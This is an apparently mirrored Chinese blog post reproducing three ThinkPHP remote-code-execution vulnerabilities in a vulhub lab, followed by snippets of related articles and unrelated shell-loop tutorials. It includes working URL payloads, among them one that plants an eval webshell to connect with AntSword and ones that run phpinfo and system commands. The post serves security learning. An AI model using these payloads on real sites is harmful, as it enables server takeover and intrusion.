thinkphp框架漏洞复现

article/2025/8/2 14:35:28

环境搭建请参考vulhub官网,https://vulhub.org

目录

一、2-rce漏洞

二、5.0.23-rce漏洞

三、5-RCE


一、2-rce漏洞

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

访问漏洞页面

构造POC:?s=/Index/index/L/${@phpinfo()}

利用代码执行写入webshell:?s=/Index/index/L/${@print(eval($_POST[1]))}

蚁剑连接webshell获取控制权

二、5.0.23-rce漏洞

      ThinkPHP是一个在中国使用非常广泛的PHP开发框架。在其5.0版本(<5.0.24)中,框架在获取请求方法时处理错误,这使得攻击者可以调用request类的任何方法,从而通过特定的漏洞利用链产生RCE漏洞。

burpsuite抓包,构造POC

执行pwd查看当前路径

三、5-RCE

        ThinkPHP是一个在中国使用非常广泛的PHP开发框架。在它的版本5中,由于框架处理控制器名称不正确,如果网站没有启用强制路由(这是默认的),它可以执行任何方法,导致RCE漏洞。

 直接访问URL:http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1执行phpinfo

构造payload查看当前目录:

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd

 


http://chatgpt.dhexx.cn/article/VIYHknSv.shtml

相关文章

MSF复现Thinkphp漏洞

简介 ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架&#xff0c;诞生于2006年初&#xff0c;原名FCS&#xff0c;2007年元旦正式更名为ThinkPHP&#xff0c;遵循Apache2开源协议发布&#xff0c;从Struts结构移植过来并做了改进和完善&#xff0c;同时也借鉴了国外…

ThinkPHP漏洞总结复现

ThinkPHP漏洞总结 简介版本Thinkphp 2.x 任意代码执行漏洞漏洞原理复现过程修复意见 Thinkphp5-5.0.22/5.1.29远程执行代码漏洞漏洞原理影响范围复现过程修复意见 Thinkphp5.0.23远程代码执行漏洞漏洞原理影响范围复现过程修复意见 Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞漏洞…

ThinkPHP 漏洞利用工具

在Github上搜寻好用的安全工具,来充实武器库,实属一大乐趣所在。 当看到ThinkPHP十年磨一剑的提示,那么今天这里分享的工具就可以派上用场了,一键检测ThinkPHP全版本漏洞。 01、TPscan 一键ThinkPHP漏洞检测,基于Python3,命令行检测,集成了14个常见的ThinkPHP框架漏洞检…

ThinkPHP历史漏洞

文章目录 ThinkPHP简介Thinkphp历史漏洞Thinkphp 2.x 任意代码执行漏洞漏洞描述影响版本漏洞复现 Thinkphp5.0.23远程代码执行漏洞(CVE-2018-20062)漏洞描述影响版本漏洞复现 ThinkPHP 5.0.x 未开启强制路由导致的RCE 漏洞分析(CNVD-2018-24942)漏洞描述影响版本漏洞复现 Think…

thinkphp漏洞总结

目录 前言 一、远程代码执行漏洞 1.1 影响范围 1.2 漏洞详情 二、5.x远程命令注入 三、5.1.x SQL注入 前言 thinkphp是一个国内轻量级的开发框架&#xff0c;采用phpapache&#xff0c;在更新迭代中&#xff0c;thinkphp也经常爆出各种漏洞&#xff0c;thinkphp一般有th…

Thinkphp漏洞详解合集

文章目录 Thinkphp6.0.12LTS反序列化漏洞环境漏洞分析 thinkphp lang命令执行环境影响版本漏洞分析漏洞复现 CNVD-2018-24942(t5RCE)环境影响版本漏洞分析漏洞复现 Thinkphp3.2.x命令执行环境漏洞分析漏洞复现 thinkphp-2x-rce漏洞环境影响版本漏洞分析 Thinkphp5.0.23变量覆盖…

thinkphp漏洞复现

所有文章&#xff0c;仅供安全研究与学习之用&#xff0c;后果自负! thinkphp漏洞 前言一、thinkphp-2x-rce 代码执行0x01 漏洞描述0x02 影响版本0x03 漏洞利用0x04 漏洞修复 二、thinkphp 代码执行 (CNVD-2018-24942)0x01 漏洞描述0x02 影响范围0x03 漏洞利用这就完成了&#…

【shell】shell脚本实战-while循环语句

前言 上文我们讨论了for循环的使用&#xff0c;在有限循环里&#xff0c;我们使用for循环是很方便的一件事情&#xff0c;今天我们来探讨下while循环 while循环语句的语法分析 语法格式一&#xff1a; while [条件] do操作 done语法格式二&#xff1a; while read line do操作…

linux中shell的循环

循环主要分为3种 1.for循环 for循环的基本语法结构是三步走 for ##条件do ##要做什么 done ##结束 借几个脚本来理解一下…

【Linux】shell编程之循环语句

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、循环语句二、for循环语句1.for 语句的结构2.for语句应用示例 三、while 循环语句1.while 循环语句结构2.while语句应用示例 四、until 循环五、跳出循环六、死循…

shell-循环

接上一篇shell运算符接着往下说&#xff0c;shell循环&#xff1a; shell循环有三种&#xff0c;一种是for循环&#xff0c;一种是while循环&#xff0c;还有一种是until循环&#xff0c;循环体中和java类似&#xff0c;可以使用break调出当前循环&#xff0c;continue继续下一…

linux\bash shell for命令\循环

内容来自《Linux命令行与shell脚本编程大全.第3版 (布鲁姆&#xff0c;布雷斯纳汉)》for命令 下面是基本格式&#xff1a; for var in list # 或者把do也写在这一行&#xff1a;for var in list; do docommands done例如&#xff0c;读取列表&#xff1a; for test in A…

linux用while循环输出1到10,Linux Shell系列教程之(十一)Shell while循环 | Linux大学...

摘要 在上一篇Linux Shell系列教程之(十)Shell for循环中&#xff0c;我们已经对Shell 循环语句的for循环进行了介绍&#xff0c;本篇给大家介绍下Shell 中另一种循环语句&#xff1a;Shell while循环。 在上一篇Linux Shell系列教程之(十)Shell for循环中&#xff0c;我们已经…

Linux命令行循环执行shell命令浅谈

本文主要介绍了Linux命令行&#xff0c;循环执行shell命令的相关知识&#xff0c;主要包括死循环&#xff0c;普通计数循环&#xff0c;以及Linux shell循环命令 while死循环的用法,需要的朋友可以参考下 Linux命令行&#xff0c;循环执行shell命令 死循环 命令格式 1 while t…

Linux中shell的循环语句

目录 一、循环语句 1、for循环语句 批量添加未存在的用户&#xff0c;用户名存放在users.txt文件中&#xff0c;每行一个初始密码均设为123456&#xff0c;新增users.txt 文件&#xff0c;vim users.txt 录入用户 2、while循环语句 通过变量RANDOM获得1-999随机数,提示用户猜测…

【LinuxShell】Shell编程之循环语句

文章目录 前言一、循环1.循环的作用2.循环和遍历 二、for循环语句1.for语句的用法2.for逻辑结构3.for语句的格式4.echo的用法5.for语句的典型案列 三、while循环语句1.while语句的用法2.while逻辑结构3.while语句的格式4.while语句的典型案例 四、until命令1.until语句的用法2.…

【Linux】:shell循环语句

运行Shell脚本有两种方法&#xff1a; 1、vi test.sh #! /bin/bash #编写内容 运行sh test.sh 2、chmod x ./test.sh #脚本具有执行权限 ./test.sh #执行脚本 if条件判断 单分支if条件&#xff1a; if [ 条件判断式 ]then程序 fi注意&#xff1a;中括号与条件判断式之间有空…

shell脚本循环执行一个linux命令,shell脚本编程之循环语句

在运行脚本时重复执行一系列的命令是很常见的&#xff0c;这时我们就需要使用循环语句来达到这个目的。 一、for命令 格式&#xff1a;for 变量 in 列表&#xff1b;do 循环体 done for命令会遍历列表中的每一个值&#xff0c;并且在遍历完成后退出循环。 列表形式有以下几种&a…

Linuxshell脚本之循环语句

目录 一、循环 1.循环的含义 2.重复运行次数 3.常见的循环命令 4.循环示意图 二、For语句 1.定义 2.表达式 &#xff08;1&#xff09;for循环 &#xff08;2&#xff09;算术for循环 &#xff08;3&#xff09;嵌套 ​ 三、while语句 1定义 2.格式 3.while循…

【Linux】 Shell循环

for循环遍历 { }C语言风格的for 遍历 while 循环 while test测试成立 do命令 donewhile : # 相当于while true until循环 与while 循环相反 until 循环 while test测试不成立 do命令 donecontinue & break 嵌套的时候 if 要和 fi 在一起 do 要和done 在一起 (相邻最…